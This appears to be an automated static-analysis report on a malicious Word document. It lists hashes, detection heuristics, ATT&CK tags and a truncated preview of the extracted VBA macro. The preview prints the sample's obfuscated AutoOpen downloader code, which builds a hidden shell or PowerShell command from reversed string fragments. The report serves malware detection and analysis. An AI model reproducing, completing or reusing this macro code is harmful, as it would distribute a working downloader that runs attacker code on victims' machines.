Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 74b66767a723949e…

MALICIOUS

Office (OLE)

112.0 KB Created: 2018-02-07 07:25:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: 25cbf8def29ef839a2852b38815df1cc SHA-1: 8652602d79fe9a948da3af4e2aa315acf7d1b66f SHA-256: 74b66767a723949e5b0837eb281bad34b6f6132d9b4aef0b3d36651193edd3d7
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The 'AutoOpen' macro is present and triggers a 'Shell()' call, indicating an attempt to execute arbitrary commands. This is consistent with a macro-based downloader designed to fetch and execute a secondary payload.

Heuristics 8

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 27943 bytes
SHA-256: 1b140c71b729be6868b9ca784cbcea1664143af8aa2a3991aa7652da1afb3a6e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "tiZvEDIV"
Sub AutoOpen()
On Error Resume Next
QXEmwnjFA = XqNsKzKnP - wDNfpqzV / (1860098 + fwOAfbjjNPVLIQ - 6619039 + pzhDzdKiEMJZ)
wGpLvCkac = MiTbazpl - zwHAwnFwCmjwTS / (1341880 + HaJPGfHFcmzkY - 566781 + oSQMcpFr)
YpDiosQtQ = nSZjWpRp - YLoVazb / (9071678 + CFiwBjlZCzS - 2514727 + tiXkklIw)
Application.Run "LmUuiboIdIV", aujzPvLWBFQ
aumnhfkUd = NzmqKhpQquwn - WoLSFzpPqm / (6344114 + KrKUDBFYOFP - 4952282 + XpvTvNA)
naQzVNiWo = WKFOAqfwmt - OFQYlPiItvvZj / (7836148 + bKwqWikuiEUo - 4505779 + PWITIYVzajzwOu)
End Sub
Function aujzPvLWBFQ()
On Error Resume Next
VYwWSdoOf = JhjpElUZFBJ - zkAGhXwcXiwIEz / (934146 + FiRkMiRGa - 9245443 + oPBIlEzksfZ)
aKTRr = sBcGbjXlF - FUXjYkSSujlt / (1638514 + WZNEGOMjf - 3215775 + jjYpXCKYHK)
GakzOcdwD = lBfMRZlsfzsP - CVTirUVoGLpB / (8999971 + XiaUACpnMZu - 9383380 + wnkZqTonBijj)
WcFVIVhEpn = uhdffwPwF + Mid(StrReverse("GzkscfcoLpznznoOvdVPfdJZh6D+d6Dlbup:vnePEVu+EV'+'u1H '+'= EVuHDa+HDa+EVuCDSP1H;d6D+d6DEVu+EVu)PsQEVu+El"), 2, 77)
ELpIlSUwYv = tOJukuiWB - lwiGpVvunN / (2610351 + IWiiZpkYjuwFuY - 8417682 + vmFSqJErdQGsT)
RXdhJjjGz = qizvGnLB - slcprAcMRd / (1249080 + BIvIwRrFJjsFWE - 3775005 + wSEduRM)
cjMzAHq = NUMrADpOMLpW - nHVUvLJ / (8650484 + TnjWNwZdEj - 9043770 + uiEzFFtis)
RFpNCnAlFL = prfqqLWwNOEis + Mid(StrReverse("cJWRsmHPqzbTNJtZVu+EVuHDa+HDa.cfEVu+EVusaEVu+EVuP1HEVu+HDa+HDaqnVEdwU"), 8, 46)
ifVqbpEN = DnqBZKiq - ojGFbqtdQUqFP / (2845649 + IYjUDorTGcr - 5041463 + dfpaPDp)
LBGONhVYraU = EJVKRhRo - BoZLsBaJ / (7487279 + zPAckQo - 9925794 + fQpMZVDOOKlG)
mPEwIn = fwbDBtkdOQc - stEhkud / (6583070 + JrLbzqomMzB - 9252596 + kBAhPvOIRz)
uPNpniMjWU = OwBKKiJw + Mid(StrReverse("RXCmtjmoEVu+EVudnar EVu+EVu)PsQtPsEVu+EVuQ+PEVu+EVusQcEVu+EVueEV'+'uHDa+H'+'Da+EHDa+HDaVujHDa+HDabo-HD'+'a+d'+'6D+d6DHNrnUOpwcXHsBoAIdninzlY"), 23, 112)
jLzDHfp = WGQbBCwqCRbEVJ - jDfiTXs / (8584781 + PSPoFijtYcOvkF - 2708836 + SROhmHLRzBakZ)
rbOsaEGIqjX = XiNSLin - lTihjsvG / (9206421 + QpBFdLLIHzrDHw - 3762242 + FjhStfFLjv)
zUoJffCTMls = EaTWqFcTkDSACG - bpPhLjO / (2501390 + LYdEljqYhLHin - 5259585 + wfiiQnj)
bfjSfrh = LjbzhdPIY + Mid(StrReverse("YkArXhFApSbTHEwkANcNdfmHDaN.meEVu+EHDa+HDaVutsyHDd6D+d6'+'Da+HDaS )EVu+EVuPsQtcejbo-PEVu+EVusEVu+EVuQEV'+'u+EVu+PsEVu+'+'EVuQwEVu+EVuPsQEVu+EVu+EVu+EHDa+HDaVuPEVu+EVuHDa+HDasEVu+EVuQEVu+EqnDCRkpUwfUrVJfq"), 17, 164)
JwsjHSEYjz = RbYiBNtT - wUnOPijEfwzct / (3370507 + jTuZwvQUH - 3178605 + WHwhCuQnNWQC)
wauzcfqzt = QDLLQjiXKKB - STUvhzjzjMYI / (9447560 + FMFErQQPJvjFEa - 6566286 + MwuAkavs)
tnHNitPI = WkEzEiDOWaV - GTlQDJYLc / (9087004 + PUzcNwJ - 5911873 + NYUfMPFRj)
nTHfimfu = MqEQvzjQqNj + Mid(StrReverse("UDVAJbHiInkPDKrnztwVuePEVu+HDa+TNiMA"), 6, 12)
GutOa = ipiECpRMwFE - wFEoEHfkNGDb / (8666576 + FNdNthVtBWkAPr - 5032735 + DGoZiCisNP)
jiYQRhlHJ = SOYmDLD - DjiLXLFEiEDr / (7686216 + rCwmTUCj - 6994208 + ifDfdkj)
sJiaz = MHWmVvRNYwwoJ - NHWVpQrihU / (9815078 + jrIaazXOfjnF - 6359374 + UGvEmvq)
DubdjRU = izMtGdIjjRWjD + Mid(StrReverse("bOAHc[(  eCA'+'LPe'+'rc-  93]RAHc[d'+'6D+d6D,)08]RAHc[+511]RAHc[+18]RAHc[( ecaLpeZSUPFzLOWkamHLqlwMzzS"), 22, 79)
BwOrVOnI = CnmOaFwYwR - rjTRopvlndhDsa / (4820393 + RSCHRCHlS - 8974311 + uAwfniuPlbrS)
niXkzOk = ULpwUjt - BsjFwKioZiwuD / (270482 + qztYwLnlZAzm - 1098361 + LQiAztIQ)
WMcMim = rUQaMtsYCSa - wbKvdOGGFwXYcO / (3422900 + tFIcaXBEi - 7096908 + sjbvUfNMpXF)
sYLzQiG = SvIHuQzd + Mid(StrReverse("nVNPwblEIOMLcsR-  43]'+'RAHc[,)15]RAHc[+47]RAHc[+65]RAHc[(eCALPerc-d'+'6D+d6D AK"), 3, 64)
jbrDz = fwKzZbZGNsn - ZdDDtOBcs / (7747761 + daRBJHqmcREw - 9767072 + iokPRrbr)
PJMfwkfsPJm = jrptzjwwjqLhW - ZQwWFKwV / (6363789 + tLaRMbw - 1851954 + mhKTOsDjSUFn)
IuzihBa = LfLzSUWhrNK - zmIflItBvkaP / (9356162 + dBidBbRRzuFN - 1687738 + nEuUzjOGuBh)
SRNjH = fBJVswrwwb + Mid(StrReverse("AIzud6'+'D+d
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.